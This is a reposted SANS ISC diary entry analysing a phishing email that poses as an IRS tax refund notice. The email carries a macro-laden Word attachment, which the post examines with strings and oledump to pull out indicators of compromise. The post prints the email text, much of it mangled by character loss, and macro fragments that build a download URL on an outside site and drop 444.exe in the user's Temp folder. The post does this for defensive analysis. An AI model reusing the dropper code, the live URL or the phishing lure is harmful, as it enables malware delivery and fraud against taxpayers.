Fast analysis of a Tax Scam, (Fri, Feb 20th)

Its tax time and Im starting to see a lot of Phish/SPAM about this subject. Below is popular one the last couple of days.

“>TA RTURN FOR E YE”>RCLCULTION F YOUR R”>HR”>LOL OFFI”>X REDI FFICR: Jimmie B”>T REFUND ID NU”>REFUND AOUN”>D”>The ntents f this emil and n attachmnts ar nfidentil and “>pliabl, yright in thse is resrvd t IRS Rvnu”>Unless eprssl uthorised b us, any further diss”>distributin of this mail r its ttahmnts is rhibited.

“>If you are nt the intnded rcipint f this emil, pls re”>infrm us tht u have rived this mil in error and th”>delet it without retaining n o”>I am snding this emil to annune: After the lst nnul lultin “>yur fiscl ctivit we hv determined that yu r ligibl”>rive a tx refund “>Yu hav attahed the ta return form with the TX RFUND NUM”>ID: 2440409, omplte the t rturn frm ttched to this mssag.

“>Aftr mleting the form, ples submit th frm by clicking th”>SUMI buttn n f”>Sin”>Jimmi “>IRS Tax Credit “>A RFUND ID: US2440409-IRS

“> yright 2015, IRS Rvenue m ust”>ll rights r”>======================

“>With so many of these types of mails, analysis needs to be quick to determine who may have been affected. “> “>$mv tax_refund_2440409.zip MALWARE-tax_refund_2440409.zip

“> “>”>inflating: [Content_Types].xml “>inflating: _rels/.rels “>inflating: word/_rels/document.xml.rels “>inflating: word/document.xml “>inflating: word/header3.xml “>inflating: word/footer2.xml “>inflating: word/footer1.xml “>inflating: word/header2.xml “>inflating: word/header1.xml “>inflating: word/endnotes.xml “>inflating: word/footnotes.xml “>inflating: word/footer3.xml “>inflating: word/theme/theme1.xml “>inflating: word/_rels/vbaProject.bin.rels “>inflating: word/vbaProject.bin “>”>inflating: word/settings.xml “>inflating: word/vbaData.xml “>inflating: word/webSettings.xml “>inflating: word/styles.xml “>inflating: docProps/app.xml “>inflating: docProps/core.xml “>inflating: word/fontTable.xml

“> “>The vbaProject.bin is the code we want to look at and need to run strings on it.

“>$strings /word/vbaProject.bin

“>”>”>$someFilePath = “>…

“>Within about 2 minutes I was able to determine some basic IOCs and sees if anyone actually accessed the site or tried to ping the address.

“>If you want to dig deeper and spend a bit more time, you can install and configure oledump which was discussed on (hxxps://isc.sans.edu/diary/oledump+analysis+of+Rocket+Kitten+-+Guest+Diary+by+Didier+Stevens/19137).

“>”>A1: 556 PROJECT”>A2: 71 PROJECTwm”>A3: 97 UserForm1/x01CompObj”>A4: 266 UserForm1/x03VBFrame”>A5: 58 UserForm1/f”>A6: 0 UserForm1/o”>A7: M 25751 VBA/ThisDocument”>A8: m 1159 VBA/UserForm1″>A9: 4506 VBA/_VBA_PROJECT”>A10: 811 VBA/dir

“>$python oledump.py -s A7 -v MALWARE-tax_refund_2440409.doc

“>”>Print #FileNumber, strRT = + Chr(34) + h + Chr(Asc(Chr(Asc(t)))) + t + p + ://www.zaphira.de/wp-admin/includes/file + . + Chr(Asc(e)) + Chr(Asc(x)) + e”>”>Print #FileNumber, $someFilePath = c:Users + USER + AppDataLocalTemp + 444.e Chr(Asc(x)) + e

“>In this case, oledump gave us a lot more info, but proves we were on the right track with simple strings of the file. Additionally, we can see an infected user may have a file called 444.exe . There are lots more local IOCs we could create, but with the few network IOCs we can get fast idea of possible affected users.

Tom Webb

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Reposted from SANS. View original.

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